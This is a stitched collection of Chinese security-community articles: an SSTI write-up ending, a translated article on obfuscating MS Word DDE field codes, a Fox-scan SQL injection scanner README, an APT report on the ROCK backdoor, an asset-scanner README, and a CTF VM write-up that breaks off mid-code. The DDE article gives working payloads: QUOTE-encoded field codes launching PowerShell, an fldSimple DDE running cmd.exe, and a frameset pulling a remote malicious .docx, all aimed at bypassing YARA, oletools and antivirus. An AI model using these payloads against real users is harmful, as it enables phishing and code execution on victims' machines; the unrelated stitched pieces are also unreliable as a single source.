这次总算是把flask框架的SSTI注入给弄的差不多了，以后遇见了也不会手忙脚乱了。继续加油吧！！！
# 参考
<https://xz.aliyun.com/t/10394#toc-7>
<https://www.yuque.com/docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1>
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3>
<https://blog.csdn.net/qq_45521281/article/details/106243544>
<https://blog.csdn.net/qq_45521281/article/details/106252560>
<http://www.javashuo.com/article/p-psmjcwyp-dg.html>
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3> | 社区文章 |
# 【技术分享】MSWord：如何混淆域代码绕过基于Yara规则的DDEAUTO检测
|
##### 译文声明
本文是翻译文章，文章来源：staaldraad.github.io
原文地址：<https://staaldraad.github.io/pentest/phishing/dde/2017/10/23/msword-field-codes/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
几周前，我和Saif El-Sherei在[SensePost](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/)博客上发表了一篇文章，介绍了DDE（Dynamic Data
Exchange，动态数据交换）的相关技术，以及如何利用这种技术，在不启用宏功能的MSWord上实现命令执行。我们没有想到这篇文章会吸引那么多人的目光。从那时起，钓鱼及恶意软件攻击行动中开始使用DDE技术，合法的红蓝对抗中也出现了这种技术的身影。随着DDE大规模用于攻击行动中，相应的检测机制也逐步完善，大多数反病毒软件引擎中已经包含基本的DDE检测功能。这类检测技术大多都基于YARA规则，可以识别.docx以及.doc文件中的DDE或者DDEAUTO字符串。在这种情况下，我想知道能否找到混淆文档中DDE特征的方法。现实中已经有人着手尝试过，比如[这篇文章](https://furoner.wordpress.com/2017/10/17/macroless-malware-that-avoids-detection-with-yara-rule/amp/)中，攻击者修改了DDE字符串的大小写状态，将特征字符串切割为多行形式，以规避基于Yara规则的检测技术。
在这篇文章中，我会与大家分享我在混淆特征及绕过检测方面的经验，希望这些经验能给攻防双方提供参考。
本文主要内容为：
**1、如何混淆攻击载荷；**
**2、如何隐藏DDE/DDEAUTO特征；**
**3、应对方法。**
**二、如何混淆攻击载荷**
在研究如何混淆DDE以及DDEAUTO域代码（Field
Code）的方法之前，我想先重点研究一下如何混淆攻击载荷。之所以这么做，主要有两方面原因。其一，攻击载荷为一串简单的字符串，而不是一个保留的域代码，这意味着混淆载荷不大可能会破坏载荷的功能。其二，我们有更多的空间可以用来混淆，隐藏三个字符（DDE）会比隐藏包含255个字符的字符串难度更大。
由于这方面技术会涉及到域代码相关知识，我们可以尝试下能否在这一领域找到其他可用的混淆点。快速搜索“list field codes
word”关键词后，我们找到了微软公布的一份[支持文档](https://support.office.com/en-us/article/List-of-field-codes-in-Word-1ad6d91a-55a7-4a8d-b535-cf7888659a51)，这份文档中列出了Word支持的所有域代码，对我们而言非常有用。花了一些时间遍历这些域代码后，我从中找到了一个可能用得上的代码，即QUOTE域。微软对这个域的描述为：“Quote域可以将特定的文本插入文档中”。这听起来非常有用，因为我们的目的是寻找能够修改载荷字符串的方法，而利用QUOTE域，我们可以修改字符串，并将其插入文档中。
顺便提一句，需要注意的是，我们可以在Word中使用嵌套形式的域代码，例如，关于QUOTE域，我们可以这么使用：
{ QUOTE { IF { DATE @ "M" } = 1 "12" "{= { DATE @ "M" } -1 }/1/03" @ "MMMM"} }
上面例子中包含嵌套形式的域代码，QUOTE域内部包含IF域代码，其内容会取决于FORMULA(=)的处理结果，最终包含DATE或者经过格式化的日期数据。
我们可以向QUOTE域提供某个字符的数字编码，它会将这个编码转换为对应的字符（我并没有找到关于这个技术点的参考资料）。比如，如果我们想要得到数字编码为65所对应的那个字符，我们可以在Word中使用如下域：
{ QUOTE 65 }
这段代码最终会显示为字符A，而不是数字65，这正是我们希望得到的结果。现在我们可以将攻击载荷重新以数字形式进行编码，这样Word在执行我们的DDE之前会自动将数字编码转换为字符串。完整的代码如下：
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
上面这段内容等价于：
{DDE "AAAA" "GGGG"}
此时，我们可以充分发挥想象力，在载荷中将AAAA以及GGGG替换为前面的那段代码。为了使替换过程更加便捷，我编写了一个python脚本，可以将给定的字符串转换为等效的QUOTE域代码。
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
out = "{ QUOTE "
for c in st:
out += (" %s"%ord(c))
out += " }"
print(out)
如果想要弹出powershell，我们可以使用如下代码：
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C} "a"}
**2.1 Dirty链接**
顾名思义，DDEAUTO在文档打开时会自动更新。然而，除非我们在文档上设置了“更新链接（update
links）”属性，否则并不是所有的域代码都会自动更新。为了实现这一点，我们需要将我们所使用的链接标记为“dirty”链接（已过时链接），或者更改文档属性，让文档可以自动更新链接（可能会有其他方法比我的方法更加简单）。
具体方法是，当我们创建.docx文档后，可以使用归档管理器软件打开这个文档，然后编辑其中的document.xml文件。为了将链接标记为待更新的dirty链接，我们需要找到文件中以<w:fldChar>开头的所有字符串，添加w:dirty="true"字符串，如下所示：
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
然后，保存 **document.xml** ，更新压缩包。现在当用户打开.docx文档时，所有的链接都会自动更新。同时，用户看到的是更加整洁的“Do
you want to update”对话框，提示是否更新域。
**2.2 处理结果**
最大的问题是，使用QUOTE后，我们是否能达到很好的效果？事实证明的确如此。我们使用了会弹出powershell对话框的Word样本进行测试（我认为如果Word会弹出Powershell对话框，那么这种行为显然是非常可疑的），结果发现VirusTotal上只有1/59的检测率。
通常情况下，将.docx文件重新保存为.doc文件后，我们依然能得到同样的代码执行效果。然而，使用这种方法时，如果你想打开.doc文档，你会看到一个Error!
No application
specified错误对话框，这是因为嵌套的域代码没有正确更新的原因。可能会有一种方法能强制更新所有的域代码，然而受我个人知识面所限，我无法在Word中找到这类方法。
**三、如何隐藏DDE特征**
接下来另一个挑战是，如何隐藏并规避现有的检测机制，这类检测机制包括基于YARA规则以及基于DDE链接提取的技术。
**3.1 YARA规则**
据我所知，大多数YARA规则的原理都是在某个.docx文档的instrText元素中查找DDE或者DDEAUTO特征（我着重研究的是.docx文档，因为这类文档手动修改起来更加方便）。第一个YARA规则由[Nviso
Labs](https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/)公布，包含如下正则表达式：
/<w:fldChars+?w:fldCharType="begin"/>.+?b[Dd][Dd][Ee]b.+?<w:fldChars+?w:fldCharType="end"/>/
这条规则能有效检测出第一批恶意文档，然而对于后续出现的多行变种文档而言却无能为力。在多行变种文档出现之前，我还找到了这个正则表达式中存在的另一个问题，并已将其反馈给Didier
Stevens。如果你仔细研究Office Open XML文件格式规范时，你会发现fldChar域为复杂域（Complex
Field）类型，可以包含可选属性。添加可选属性后，我们就能破坏上述YARA规则，无需利用DDEAUTO，只需使用DDE就能实施攻击。这个可选属性为dirty属性，只要将属性值设为true，就能强制更新域代码，因为规范中提到这样一句话：“（属性值为true）表明某个应用程序已标记该域，代表自上次保存以来，当前记录已发生更改，不再有效。”
我在前面提到的QUOTE域中也用到过这个属性，用来强制更新域值。与之前的步骤类似，我们只需要手动修改.docx文档，将该属性添加到文档中即可：
<w:r>
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
</w:r>
上述正则表达式无法匹配这种可选属性，因此无法检测这类变种。我向Didier提交了新的匹配规则，新的规则可以适配可选属性，也可以适配包含任意空格符的XML数据：
<w:fldChars+?w:fldCharType="begin"s+?(w:dirty="(true|false)")?s+?/>.+?b[Dd][Dd][Ee]b.+?<w:fldChars+?w:fldCharType="end"/>
**3.2 Oletools：msodde.py**
[decalage2](https://twitter.com/decalage2)写了一个python工具：[python-oletools](https://github.com/decalage2/oletools)，这个工具非常有趣，目前我还没有用它来测试一下我们构造的攻击载荷。这个工具可以从使用DDE攻击方法的所有已知变种中提取DDE载荷。如果利用这个工具来检测我们构造的QUOTE变种，我们发现它还是可以提取到相关链接，表明文档中仍然包含DDE攻击载荷：
虽然还需要花点精力，我们还是可以解码这些QUOTE字符，将其转换为待执行的字符串。那么，我们如何绕过这个工具？
回到Office Open XML文件格式（我非常喜欢阅读规范文档），我们发现还有另一个元素可以用来引用域代码。目前为止，我们用到过“Complex
Field”类型的fldChar，然而，还有个“Simple
Field”类型的fldSimple可以为我们所用。与fldChar不同的是，fldSimple元素并没有包含<w:instrText>子元素，实际上，它会将域代码作为属性加以使用，如w:instr="FIELD
CODE"。
规范文档中提到如下一个例子：
<w:fldSimple w:instr="AUTHOR" w:fldLock="true">
<w:r>
<w:t>Rex Jaeschke</w:t>
</w:r>
</w:fldSimple>
稍加修改后，这段示例代码就可以用于DDE攻击方法中，比如，我们可以嵌入载荷数据，如下所示：
<w:fldSimple w:instr='DDE "C:\WINDOWS\system32\cmd.exe" "/k powershell.exe"' w:dirty="true">
<w:r>
<w:t>Pew</w:t>
</w:r>
</w:fldSimple>
使用这种方法，我们还是能得到自动执行的DDE载荷，并且也能绕过Oletools工具：
我已经向oletools发起了[Pull请求](https://github.com/decalage2/oletools/pull/205)，希望能检测在fldSimple元素中嵌入的DDE链接。
同样，这种方法在[规避反病毒检测](https://www.virustotal.com/#/file/0f8bc14e32928ec882948977b25483a993fb8b4d9c8bc542aa13ecfbde785837/detection)方面也取得了不俗的效果。
需要注意的是，一旦载荷执行，基于行为检测的反病毒软件应该会检测到恶意行为，因此可以说，这些检测结果表明，我们可以绕过反病毒软件的静态扫描。
**3.3 副作用**
使用fldSimple时会存在一些副作用。如果你决定使用DDEAUTO方法，同时也用到了w:dirty="true"，那么当终端用户想执行DDE应用程序时，他们会看到3个提示对话框（我不明白为什么是3个对话框，而不是2个对话框）。与普通方法相对比，这种情况下用户需要多次点击对话框中的“yes”按钮。
有趣的是，使用fldSimple以及 **c:\windows\system32\cmd.exe /k powershell**
来启动powershell时，powershell会在cmd窗口内部运行，你可以直接进入powershell控制台。这种情况与在已有的cmd实例中运行powershell一致，但与常见的DDE场景不同（普通DDE会同时生成cmd以及powershell）。与此同时，你会得到一个无法加载PSRedline模块的提示信息：“Cannot
load PSReadline module. Console is running without
PSReadline”，如下图所示。感兴趣的读者可以进一步挖掘这个信息。
**3.4 无DDE**
现在最大的挑战来了，在文档中我们有没有可能完全不包含DDE或者DDEAUTO特征？答案是肯定的，并且这一点对社会工程学方法大有好处。MSWord考虑得非常周到，会提示用户禁用受保护的试图（protected
view）以便查看文档内容。
为了完成这个任务，我们可以使用另一个传统（legacy）功能。在历史上，微软曾将Word设计为可以处理与任何文本有关的一站式应用程序，其中就包含创建Web页面功能。Word曾经是编写HTML的一种IDE工具，虽然生成的HTML不是特别优雅，但也能正常工作。当时引入的一个特性就是frames（框架）以及framesets（框架集）。在Word中，我们可以使用frames来将不同的HTML/Text页面加载到frames中，并且HTML会被自动解析，转化为Word格式的内容。在Word
2016或者更早版本的Word中，程序界面中已经不再包含这种功能，然而程序底层依然包含相应的解析例程。这意味着如果我们创建包含嵌入式frames的文档，Word仍然会自动处理这些数据。
想要插入frameset的话，我们需要编辑纯净版的.docx文档。首先，解压缩这个文档，然后打开其中的webSettings.xml文件。接下来我们可以修改并添加新的XML元素frameset：
<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="1"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>
这段内容应该插入到已有的<w:webSettings>元素内部，紧靠在<w:optimizeForBrowser/><w:allowPNG/>元素之前。接下来，我们需要添加rId1关系（Relationship），将我们的文档链接到外部文档。我们需要将名为webSettings.xml.rels的新文件添加到word/_rels/目录中，以完成这个任务。
该文件的内容如下所示：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://x.x.x.x/simple.docx" TargetMode="External"/>
</Relationships>
我们链接的外部文档为包含DDE攻击载荷的.docx文件。这个例子中，我们会从地址为x.x.x.x的HTTP服务器加载simple.docx文件。首先，我们需要保存经过修改并已添加新内容的文件，然后更新整个.docx压缩包。现在，将经过修改的文档发给目标用户，等待用户打开。由于用户下载的文档包含MOTW（mark
of the
web）标记，因此该文档会在受保护视图状态下打开。然而，这种情况下，Word会检测到需要请求外部内容才能正确显示这个文件，因此会向用户提示：“链接的文件及其他功能已被禁用。要恢复此功能，你必须编辑此文件”。需要注意的是，这是来自Word的默认消息，我们没法操控这一点。
一旦用户禁用受保护的试图，Word会下载包含DDE攻击载荷的外部文档。这个文档不包含MOTW标记，会由Word负责解析，最终会触发正常的DDE消息。这种方法非常有用，可以夹带我们的DDE攻击载荷，而不会被反病毒软件扫描到。
**四、应对措施**
最好的应对措施应该是禁用自动更新链接功能，不要完全依赖反病毒软件。Will
Dormannn（[@wdormann](https://twitter.com/wdormann)）提出了一种方法，可以更改已安装的Office应用程序配置，使Office忽略链接并禁用链接的自动更新，详情请参考[此处链接](https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b)。
我非常乐意尝试另一种防御机制，那就是在Windows 10秋季创造者更新中引入的[Windows Defender Exploit
Guard](https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard)功能。这个功能可以阻止Word、Excel、Powerpoint生成子进程。这样不仅能阻止子进程创建，也能阻止DDE攻击以及嵌入式OLE攻击等。需要注意的是，Matt
Nelson（[@enima0x3Attack](https://twitter.com/enigma0x3/)）已经证实，Outlook以及Access都不会添加到ASR（[Attack
Surface
Reduction](https://twitter.com/enigma0x3/status/922167827817287680)）的保护范围中。
前面提到过，我已经发起一个pull请求，希望更新oletools工具。目前，基于DDE或者DDEAUTO关键词的YARA规则大部分应该都能正常工作。如果你还坚持搜索类似powershell之类的关键词，我想你需要与时俱进，改变思维，才能跟上这个时代的节奏。 | 社区文章 |
项目地址：[fengxuan@github](https://github.com/fengxuangit/Fox-scan/)
### 简介
Fox-scan is a initiative and passive SQL Injection vulnerable Test tools. use
for penetration testing!
Foxscan
是一个款基于SQLMAP的主动和被动资源发现的漏洞扫描工具,在设置浏览器代理后访问目标网站即可获取浏览器访问的链接,并且进行简单的爬虫获取链接,去除一些静态文件和第三方网站后，放入sqlmap中进行检测。
### INSTALL
#### Environment
sqlmap
python 2.7
Flask
multiprocessing
tornado
requests
BeautifulSoup 4.2.0
#### Settings
配置项目根目录下config.xml
<root>
<mysql>
<host>127.0.0.1</host>
<username>root</username>
<password>123480</password>
<port>3306</port>
<database>foxscan</database>
<charset>utf8</charset>
</mysql>
<sqlmap>
http://127.0.0.1:8775
</sqlmap>
<typelist>
<whitelist>.php,.asp,.aspx,.jsp,.jspx</whitelist>
<blacklist>
.ico,.flv,.js,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg
</blacklist>
</typelist>
</root>
sqlmap标签为你的sqlmap地址,typelist类型设置为黑名单和白名单设置,用于爬虫用。默认可以不用改。
#### DATABASE
CREATE DATABASE `foxscan` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
source foxscan.sql
### Run
1 首先运行sqlmapapi.py
python sqlmapapi.py -s
2 运行本程序WEB界面
python views.py
3 打开浏览器输入控制台提示的访问地址(这里是http://127.0.0.1:8775)
在这里配置你的目标网站,sqlmap的地址,爬虫的过滤类型以及代理地址。
1. **这里的Domain，即代表爬虫的时候不会获取这个根域名之外的网站链接,同一时刻只能添加一次目标**
2. **需要更改目标的话需要重新进入这个界面配置,但是会删除之前的所有在跑的任务**
4 在配置完任务信息后,可以进入到libs目录中,运行
python proxy.py 8081
启动本地代理服务器,然后再配置浏览器代理，即可达到被动扫描的效果 例如：
写了一个很简单的POST登录框。 控制台输出这样的字样后代表加入队列扫描
如果没有,说明是第三方网站或者访问的是静态文件资源,则不会加入到扫描队列中！
5 配置完成之后点击FUCK IT按钮,就会提示你成功添加一个目标,进入到任务详情页。 这里会显示说有在跑的任务,使用AJAX请求每3秒刷新一次。
**如果有成功的目标,就会显示为红色**
可以看到我们刚才的POST注入已经扫描完成。
6 程序会自动有一个异步非阻塞追踪线程,如果发现有成功的目标,就会把目标和payload防到`successlist` 表中
但是还是有一些BUG。
BUG:
1. AJAX刷新有时候不能正确实时展示。
2. 代理功能有时候在数据库不支持长链接的情况下会报错
还有一些功能未能实现
FEATURE:
1. 点击LOG,可以查看扫描日志
2. 添加PAYLOAD选项,可以查看到PAYLOAD
### License
> * fengxuan - **_mOon Security Team_** 2016/09/03
>
* * * | 社区文章 |
# 人面狮行动（APT-C-15）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
目录
一、概述… 3
二、载荷投递… 4
1.社交网络水坑攻击… 4
2.诱饵文档… 5
3.自身伪装… 7
三、ROCK后门分析… 9
1.功能简述… 9
2.功能结构… 9
3.通信方式… 11
4.对抗手法… 12
四、相关线索信息… 15
1.攻击者Facebook帐号信息… 15
2.PDB信息… 15
3.诱饵文档… 15
4.释放的木马… 16
5.IP地理位置… 16
附录A:希伯来语样本来源… 17
附录B:最新样本查杀结果… 18
一、概述
人面狮行动是活跃在中东地区的网络间谍活动,主要目标可能涉及到埃及和以色列等国家的不同组织,目的是窃取目标敏感数据信息。活跃时间主要集中在2014年6月到2015年11月期间,相关攻击活动最早可以追溯到2011年12月。主要采用利用社交网络进行水坑攻击,截止到目前我总共捕获到恶意代码样本314个,C&C域名7个。
人面狮样本将主程序进行伪装成文档诱导用户点击,然后释放一系列的dll,根据功能分为9个插件模块,通过注册资源管理器插件的方式来实现核心dll自启动,然后由核心dll根据配置文件进行远程dll注入,将其他功能dll模块注入的对应的进程中,所以程序运行的时候是没有主程序的。用户被感染后比较难以发现,且使用多种加密方式干扰分析,根据PDB路径可以看出使用了持续集成工具,从侧面反映了项目比较庞大,开发者应该为专业的组织。
进一步我们分析推测人面狮行动的幕后组织是依托第三方组织开发相关恶意软件,使用相关恶意软件并发起相关攻击行动的幕后组织应该来自中东地区。
二、载荷投递
1.社交网络水坑攻击
我们发现其中一个希伯来语的诱饵文档来自于Facebook以色列军队主页的评论。也就是攻击者通过利用目标所关注的社交网站帐号进行载荷投递,这是一种典型的水坑攻击方式。这与传统的水坑攻击不同,APT攻击中主流的水坑攻击主要分为以下两种:
第一种:目标关注A网站,攻击者将A网站攻陷,并植入恶意代码(一般为漏洞脚本文件,俗称挂马),当目标访问被攻陷的A网站并浏览相关页面时,当目标环境相关应用触发漏洞则有可能被植入恶意代码。
第二种:目标关注A网站,攻击者将A网站攻陷,并将A网站上一些可信应用或链接替换为攻击者所持有的恶意下载链接,当目标访问被攻陷的A网站并将恶意下载链接的文件下载并执行,则被植入恶意代码。这种攻击的典型案例是2014年公开Havex木马[[1]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftn1),也被称作蜻蜓(Dragonfly)和活力熊(Energetic
Bear)和我们在2015年5月末发布的海莲花(OceanLotus)APT组织[[2]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftn2)。
这两种水坑攻击的共性是攻击者需要获得目标所关注网站的修改权限,而本次攻击行动中攻击者完全是利用目标所关注的第三方社交网络平台进行攻击,攻击者只需简单注册,则具备留言评论等权限。
图 1 Facebook样本来源
下表是上图具体恶意下载链接和链接对应的RAR文件MD5。
RAR压缩包中诱饵文档内容为个人所得税调整,通过修改exe图标为文档来诱导用户点击。
图 2压缩包内诱饵文档截图
图 3相关C&C域名被卡巴斯基sinkhole
进一步我们发现相关攻击涉及10个社交网络帐号,具体请参看“附录A:希伯来语样本来源”,相关帐号主要涉及如:以色列国防军、以色列海军等以色列军方和政府的社交网络帐号,相关攻击评论时间主要集中在2015年1月底至2月初期间。攻击者通过在社交网络评论下发表回复诱导用户点击,回复的内容为个人所得税改革。
2.诱饵文档
根据诱饵文档的内容,也可以从体现出攻击者关注的目标领域范围,进一步主要分为以下3类:
(A) 埃及:阿拉伯语
图 4 诱饵文档1
此文档的原始文件[[3]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftn3),文件末尾有[爱资哈尔大学反对政变的学生]的YouTube主页。
图 5 诱饵文档2
annonymous rabaa是一个攻击政府官网以抗议2013年8月Rabaa大屠杀的埃及黑客组织。
(B) 以色列 :希伯来语
图 6 诱饵文档5
文档内容为:以色列个人税收改革。
3.自身伪装
分为两种方式,一种伪装成文档或图片,一种伪装成安装程序,具体如下图所示:
图 9伪装文档、图片
图 8伪装成安装程序
前一种方式用户点击后并不会弹出文档或图片,后一种方式点击后安装成功然后会释放出正常的安装程序。
模块的文件属性为Office组件,早期版本安装目录为 %UserProfile%AppDataRoamingofficeplugin,最近版本的安装目录为
C:Program Files{GUID},比如C:Program
Files{59f0641e-45ac-11e5-af9e-b8ca3af5855f},伪装成系统组件。
图 9相关文件属性信息
三、ROCK后门分析
1.功能简述
人面狮攻击行动中所使用的恶意代码主要以ROCK木马为主,这类家族属于人面狮幕后组织自行开发或委托第三方订制的恶意程序。另外其中一个样本会释放远控木马,属于njRat的变种,在本章节中暂不对njRat的变种展开详细介绍。
通过将自身图标修改为文档、图片或安装程序图标,会伪装成pdf文件、图片、flash安装程序,诱导用户点击执行。
主要功能是窃取用户信息,比如系统信息、键盘和鼠标记录、skype监控、摄像头和麦克风监控、浏览器保存的账号密码,以及URL、浏览历史记录等敏感信息。收集信息后会加密并发送到指定C&C。
2.功能结构
图 10 整体结构
配置文件中存储着每个模块的配置信息,比如模块是否开启、数据文件的加密Key、用户ID(rkuid)、过期日期(未设置)、
C&C、截图和录音的质量及间隔时间,注入的进程名称等。
图 11 模块功能
Dropper总共会释放出20个dll,32位和64位各10个,每个功能模块都有32位版和64位版。
部分功能模块介绍:Zcore主模块启动时解密安装目录下的配置文件,根据配置文件是否开启决定是否注入到指定进程。
lZcore.dll核心模块:负责加载其他的功能模块,并注入到指定进程中。以及模块的注册、升级、卸载、日志和消息的派发功能。
lPlgcmd.dll命令模块:负责获取系统信息,删除文件或目录、截图、上传下载文件,启动和结束进程的功能。
lPlgcomm.dll通信模块:负责将其他模块生成的数据文件发送到指定CC,发送过程无加密,加密是其他模块生成数据是完成的。每分钟向服务器发送一次请求,获取远程指令。
模块之间跨进程通过 WM_COPYDATA消息通信,消息头Magic为0x34AB541作为唯一标识识别。消息内容均格式化为json发送。
3.通信方式
通过HTTP POST向服务器80端口发送数据,数据包中的敏感字符串通过查询json配置文件的对应表替换。
图 12 网络通信
图 13 网络通信字符串还原
由于网络通信模块注入到浏览器进程中,且使用HTTP POST向C&C的80端口发送数据,使异常流量很难被发现。
4.对抗手法
文件名随机
Dropper释放的文件,文件名来自于json文件,重命名为各种名词,比如gendarme.dll,jerques.dll。
图 14 模块文件名
字符串加密
所有的字符串都经过加密,且有多个加密算法。
图 15 字符串加密
API封装
大量的API(300多个)调用被封装在公共库中,干扰静态分析。
无主进程运行
核心模块作为explorer.exe的扩展启动,其他功能模块根据配置文件注入到指定进程,无主进程,所以比较难发现.即使用户发现异常,没有找到可疑进程,也会放松警惕。
行为隐藏
主模块在explorer中运行,安全软件不会拦截;通讯模块注入到浏览器进程,无浏览器进程不和CC通信;窃取文件模块注入到杀软,遍历文件的行为不容易被用户发现。
PE资源和配置文件加密
Dropper中的PE文件经过zlib压缩和AES加密,释放出来的json配置文件也经过此方法加密。
从对抗手段来看,可见人面狮攻击行动中恶意代码开发者无论在静态还是动态对抗上面都花了大量功夫,以达到免杀和隐藏行为的效果。
四、相关线索信息
1.攻击者Facebook帐号信息
2.PDB信息攻击者在进行社交网络水坑攻击时主要使用的两个Facebook帐号。
l开发者id为zico根据PDB信息我们可以推测以下结论:
l工程名称为 ROCK-RW2-BRW6R
l内部定义为rootkits工具
3.诱饵文档
4.释放的木马从文件名可以看出,涉及埃及和以色列。
52f461a133e95328ccd9ba7f70e2f3e6(图标为Adobe
pdf)样本中释放出一个远控,属于njRat的一个变种,而njRat主要流行于中东地区。
5.IP地理位置
图 16 样本和CC对应关系
其中一个样本的C&C:196.205.194.60所属国家为埃及,且此样本运行时释放的njRAT的 C&C为196.205.194.61也是埃及。
附录A:希伯来语样本来源
附录B:最新样本查杀结果
[[1]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftnref1)“Havex
Hunts For ICS/SCADA
Systems”,https://www.f-secure.com/weblog/archives/00002718.html
[[2]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftnref2)海莲花(OceanLotus)APT组织报告,https://ti.360.com/upload/report/file/OceanLotusReport.pdf
[[3]](/Users/zhoufei-s/Desktop/%E4%BA%BA%E9%9D%A2%E7%8B%AE%E8%A1%8C%E5%8A%A8%EF%BC%88APT-C-15%EF%BC%89-20160630.docx#_ftnref3)
hxxps://docs.google.com/file/d/0ByavzARTLomhc3hFeFhGN1JOOE0/edit?pli=1 | 社区文章 |
# Assets View
* * *
Assets View 资产发现、网络拓扑管理系统采用PHP+MYSQL开发，资产扫描部分采用C语言基于 _SNMP._
协议以及nmap实现网络资产拓扑发现,
可对网络设备资产进行扫描、发现、管理，并对设备开发端口、服务、漏洞信息(后续会添加漏洞扫描功能)进行管理,采用Echarts对资产进行可视化展示，并对网络拓扑进行可视化展示、操作！
> \- Codeigniter、nmap
> \- PHP、Mysql、C
> \- Bootstrap+jquery+Echart
[
# Topo Scan
* * *
Topo Scan 网络拓扑发现采用C语言基于 _SNMP._ 协议以及nmap实现网络资产拓扑发现, 该部分代码再与web端合并后再上传相应代码！
基于SNMP协议的资产、拓扑发现功能已经完全实现，发现资产直接存入mysql数据库中，并保存拓扑关系；
由于SNMP测试环境不好找，目前又实现了基于nmap的主机发现功能，依赖nmap-7.12
Topo scan在实际使用时需要安装很多依赖库，如果有疑问可以联系开发者交流
### 关于作者
* Cryin' <https://cryin.github.io/>
* Hardy <https://hardyguo.github.io/>
* * *
### Project Site
Home Page:<https://github.com/Cryin/AssetsView>
* * *
## 使用帮助
Assets View资产发现、网络拓扑管理系统共包含两个功能模块，如下:
\- 资产管理、网络拓扑可视化展示、操作.
\- 设备资产、网络拓扑发现.
\- 资产搜索
\- 手动增加资产
[
用户可先在Assets View资产发现、网络拓扑管理系统中使用Assets
Scan模块创建任务,程序会调用后端C模块采用SNMP及nmap进行资产扫描、网络拓扑发现。并将数据存入mysql数据库。前端程序会对数据进行同步并展示到页面中。用户可以可以通过资产和服务管理功能对资产进行编辑、删除等管理操作
[
* * *
目前php端展示与C后端资产发现模块在同步开发当中，并未合并到一起。后续计划持续开发中....
> \- 网络拓扑展示优化、可视化操作管理.
> \- PHP调用C端网络拓扑发现接口.
> \- 资产搜索功能.
> \- 手动添加资产.
> \- 漏洞扫描模块.
作者:Cryin' & Hardy 2016 年 12月 02日 | 社区文章 |
# 从今年强网杯的一道学习vm
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
vm的题目在CTF的比赛中是一种很常见的题型，一般的做法都是找到其指令执行过程中自定义的指令的解释程序的一些漏洞（如溢出，offset_by_null等）在理解每条指令意义的前提下通过构造一个程序来触发漏洞实现提权。而今年的强网杯线下的一道vm题目却是更加新颖一些，他用定义了一套指令集，然后写了一个程序的来解释执行，同时他用自己定义的指令集写了一个程序实现了一个表单题。感觉有种套娃的感觉，下面我们就来分析一下这道题。需要的文件我放到了百度网盘:
> 链接: <https://pan.baidu.com/s/169bulaSJe77nttvfKcP8lQ> 密码: fbl0
## 程序分析
### 分析vm程序
首先我们看一下这个函数的主逻辑。函数先载入了用vm指令实现的程序，再调用vm对其解释运行。
void __fastcall main_func1(__int64 a1, __int64 a2)
{
init2();
load_file("note.bin");
vm("note.bin", a2);
}
深入load_file程序我们能够发现set_data这个函数，其主要的功能就是将note.bin里面的代码code和数据data载入到内存，通过这个函数我们可以窥探这个note.bin文件的结构。
unsigned __int64 __fastcall set_data(int *ptr)
{
signed int len1; // [rsp+14h] [rbp-1Ch]
int len2; // [rsp+18h] [rbp-18h]
int off1; // [rsp+1Ch] [rbp-14h]
int off2; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
Reset();
len1 = *ptr;
